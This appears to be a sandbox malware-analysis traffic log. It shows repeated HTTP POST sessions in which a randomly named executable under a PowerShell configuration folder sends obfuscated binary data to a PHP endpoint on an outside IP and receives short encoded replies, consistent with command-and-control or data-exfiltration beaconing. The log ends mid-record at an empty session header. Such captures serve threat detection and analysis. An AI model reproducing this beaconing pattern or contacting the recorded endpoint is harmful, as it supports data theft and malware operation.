Jan 4, 2025 13:38:57.537945986 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 5a 37 07 35 13 23 13 02 19 27 00 37 1e 36 2b 3a 08 2d 0f 24 13 26 0a 2e 05 28 1c 2c 0c 21 3a 25 5d 28 3f 2f 1e 32 1e 39 55 26 3a 2c 5b 04 1f 20 07 35 2c 22 00 39 2c 0e 01 2f 0b 31 1c 33 13 23 07 3e 3c 2c 09 22 33 01 01 2b 03 22 0a 30 3a 33 56 3e 03 2f 18 33 0e 23 05 31 11 2b 5e 02 15 27 03 3e 03 21 0a 20 2d 2a 04 31 31 29 0c 33 1c 30 19 20 16 0e 0b 2a 17 2a 5d 27 59 38 11 34 09 2d 58 35 3f 3a 59 34 38 3b 1b 26 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %Z75#'76+:-$&.(,!:%](?/29U&:,[ 5,"9,/13#><,"3+"0:3V>/3#1+^'>! -11)30 *]'Y84-X5?:Y48;&9%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50902	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:56.789510965 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:57.140501976 CET	2584	OUT	Data Raw: 55 57 5f 5f 5e 5a 52 5d 5d 59 52 51 5a 5b 55 52 5f 5b 5c 44 50 56 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UW__^ZR]]YRQZ[UR_[\DPVV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)<(]7:6Z& -_*\-6%]' %B%03)40 &.\/'^.9
Jan 4, 2025 13:38:57.539823055 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:57.672686100 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50903	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:57.806071997 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:38:58.156276941 CET	2584	OUT	Data Raw: 55 52 5f 59 5b 5c 52 5a 5d 59 52 51 5a 59 55 56 5f 5b 5c 42 50 50 56 5f 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UR_Y[\RZ]YRQZYUV_[\BPPV_[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.) 91 .*)!6$6'(3'4=33=: 70]&.\/'^.1
Jan 4, 2025 13:38:58.558898926 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:58.692712069 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50904	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:58.813607931 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:38:59.173044920 CET	2584	OUT	Data Raw: 50 51 5f 58 5e 5e 57 50 5d 59 52 51 5a 55 55 53 5f 5d 5c 44 50 55 56 59 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PQ_X^^WP]YRQZUUS_]\DPUVY[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-*,Z#)26)9X"$!X%81$:$9><#3?]1.\/'^.
Jan 4, 2025 13:38:59.202965975 CET	1236	OUT	Data Raw: 32 3e 28 17 36 1d 27 27 14 39 2a 3b 38 07 28 0e 31 14 09 43 3a 33 19 1e 09 3d 53 3d 34 38 3f 26 35 59 22 57 3c 3f 3e 2e 0f 55 5a 17 3c 26 0d 0f 3f 5c 23 11 33 3a 1b 1b 27 2e 50 33 39 37 22 22 0d 06 18 11 3d 39 0e 2e 0f 07 26 2c 2b 3c 09 07 0d 3b Data Ascii: 2>(6''9*;8(1C:3=S=48?&5Y"W<?>.UZ<&?\#3:'.P397""=9.&,+<;8>9&80<0:1_",!/(38+"?>=\8::8#U3+&!<6:+<??6>9#14)>0(')0?-(160#C2[.+14$<Z&7/2\=?.?^?9]!,>9:8>S=U:0??###%Z
Jan 4, 2025 13:38:59.504252911 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:38:59.634756088 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:38:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50905	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:38:59.774636984 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:00.124993086 CET	2584	OUT	Data Raw: 55 50 5a 5d 5e 5b 52 5c 5d 59 52 51 5a 59 55 53 5f 5f 5c 45 50 51 56 58 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UPZ]^[R\]YRQZYUS__\EPQVX[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-*#7:>_&6=)[ ':0( X&&:$W=:,]7+%<.\/'^.1
Jan 4, 2025 13:39:00.466247082 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:00.596472979 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50906	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:00.720546961 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:01.078047991 CET	2584	OUT	Data Raw: 50 57 5f 5e 5b 59 52 5f 5d 59 52 51 5a 54 55 56 5f 5f 5c 43 50 55 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PW_^[YR_]YRQZTUV__\CPUVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C+ \& %Y*-[!$%0+,Z2'=&:,>_,X#'<.\/'^.
Jan 4, 2025 13:39:01.408138990 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:01.540311098 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50907	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:01.679757118 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:02.031395912 CET	2576	OUT	Data Raw: 55 56 5f 51 5e 53 52 58 5d 59 52 51 5a 5d 55 54 5f 59 5c 43 50 53 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UV_Q^SRX]YRQZ]UT_Y\CPSV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.C(,8Z#6[2V!^)9_"49Y%(#%$Q'*;><_771.\/'^.5
Jan 4, 2025 13:39:02.388132095 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:02.524148941 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50908	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:02.554708958 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:02.909070969 CET	1904	OUT	Data Raw: 50 50 5a 5f 5b 5f 57 5a 5d 59 52 51 5a 55 55 56 5f 5a 5c 43 50 56 56 5a 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PPZ_[_WZ]YRQZUUV_Z\CPVVZ[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-=<# Z&#9\)"6$%; _'7='9 (9(_"#;%.\/'^.
Jan 4, 2025 13:39:03.299494982 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:03.430290937 CET	380	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:03 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 1a 25 13 23 10 26 01 23 03 2b 08 26 29 2b 51 22 38 3d 1c 3a 1f 06 5e 27 37 22 06 28 22 24 0a 22 5f 2d 59 3f 01 2c 0a 24 20 0f 10 31 3a 2c 5b 04 1f 20 08 36 3c 35 1b 3a 05 37 59 2c 1c 03 5e 33 13 20 5f 2a 3f 33 56 35 30 34 59 3e 39 3d 57 30 39 01 1e 29 3a 0d 1b 30 09 23 03 32 01 2b 5e 02 15 24 5a 3d 04 32 54 22 10 2e 05 24 22 22 56 24 1b 01 09 23 38 23 1c 3d 07 3e 5a 27 11 28 52 37 51 3d 59 21 01 2a 1f 20 28 2b 51 24 39 25 52 2d 0d 2f 54 0e 36 56 57 Data Ascii: %#&#+&)+Q"8=:^'7"("$"_-Y?,$ 1:,[ 6<5:7Y,^3 _?3V504Y>9=W09):0#2+^$Z=2T".$""V$#8#=>Z'(R7Q=Y! (+Q$9%R-/T6VW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50909	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:02.660726070 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:03.015541077 CET	2584	OUT	Data Raw: 50 52 5a 58 5b 5f 52 5b 5d 59 52 51 5a 59 55 50 5f 5a 5c 43 50 5d 56 5d 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PRZX[_R[]YRQZYUP_Z\CP]V][E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z->?3#]1-*:1X6_3&$U09S>?4;1<.\/'^.1
Jan 4, 2025 13:39:03.360025883 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:03.488496065 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50910	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:03.609186888 CET	293	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue
Jan 4, 2025 13:39:03.968720913 CET	2584	OUT	Data Raw: 50 50 5f 5d 5b 59 52 5a 5d 59 52 51 5a 5c 55 51 5f 55 5c 48 50 55 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PP_][YRZ]YRQZ\UQ_U\HPUVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.B><< ):&>>\26'(<_1%',T>34&<.\/'^.%
Jan 4, 2025 13:39:04.317867994 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:04.450319052 CET	151	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50911	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:04.588069916 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:04.941035032 CET	2576	OUT	Data Raw: 50 55 5f 5e 5e 5a 52 58 5d 59 52 51 5a 5d 55 54 5f 59 5c 45 50 57 56 5e 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PU_^^ZRX]YRQZ]UT_Y\EPWV^[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)?;#*$ (9"5$)3$X1200(:,# #1.\/'^.5
Jan 4, 2025 13:39:05.274252892 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:05.404227972 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50912	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:05.533246040 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:05.890703917 CET	2584	OUT	Data Raw: 50 50 5f 5a 5b 59 57 5c 5d 59 52 51 5a 5f 55 51 5f 5f 5c 47 50 56 56 5c 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PP_Z[YW\]YRQZ_UQ__\GPVV\[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.)Z/79>]$ )]>579$ ['$3<R9#4&<.\/'^.)
Jan 4, 2025 13:39:06.241601944 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:06.374304056 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50913	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:06.503289938 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:06.861361980 CET	2584	OUT	Data Raw: 55 50 5f 5d 5b 5b 57 58 5d 59 52 51 5a 5e 55 54 5f 5e 5c 49 50 51 56 53 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: UP_][[WX]YRQZ^UT_^\IPQVS[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z.@(<8#9.%!^)-[6638 1'* )_3#1.\/'^.-
Jan 4, 2025 13:39:07.219691992 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:07.352050066 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50914	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
Jan 4, 2025 13:39:07.469091892 CET	317	OUT	POST /Javascript/updateExternaluniversalbase/dbjavascript1cdn/PollSql/requesthttpdefaultBase.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.6.177 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Jan 4, 2025 13:39:07.828064919 CET	2580	OUT	Data Raw: 50 5a 5f 59 5b 5b 57 5a 5d 59 52 51 5a 5d 55 5c 5f 5b 5c 42 50 56 56 52 5b 45 5f 55 55 53 55 51 5c 58 5b 5c 55 5e 50 57 58 51 5b 51 5b 5c 56 54 52 53 5a 40 5c 5e 57 58 50 5d 54 5b 51 53 57 5d 59 5c 5e 5d 57 5d 51 57 5c 52 5e 5c 42 5b 5f 54 5a 58 Data Ascii: PZ_Y[[WZ]YRQZ]U\_[\BPVVR[E_UUSUQ\X[\U^PWXQ[Q[\VTRSZ@\^WXP]T[QSW]Y\^]W]QW\R^\B[_TZXYWQ_VBZWZ^[]Q_T][YW]XQ\X_Z]WXWZGZS]^USQXXZ\^_U]VZ^_Z][XZYTXX_]WWVX^XPX][GX_ITWBR[Y[^VUP\\_P]_T_XU^Y\^Z-)/#9Z$ =&"B=_'$_%1&?=)##71.\/'^.
Jan 4, 2025 13:39:08.164160013 CET	25	IN	HTTP/1.1 100 Continue
Jan 4, 2025 13:39:08.298377991 CET	207	IN	HTTP/1.1 200 OK Date: Sat, 04 Jan 2025 12:39:08 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 52 5c 54 Data Ascii: 4R\T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50915	62.109.6.177	80	7528	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Timestamp	Bytes transferred	Direction	Data
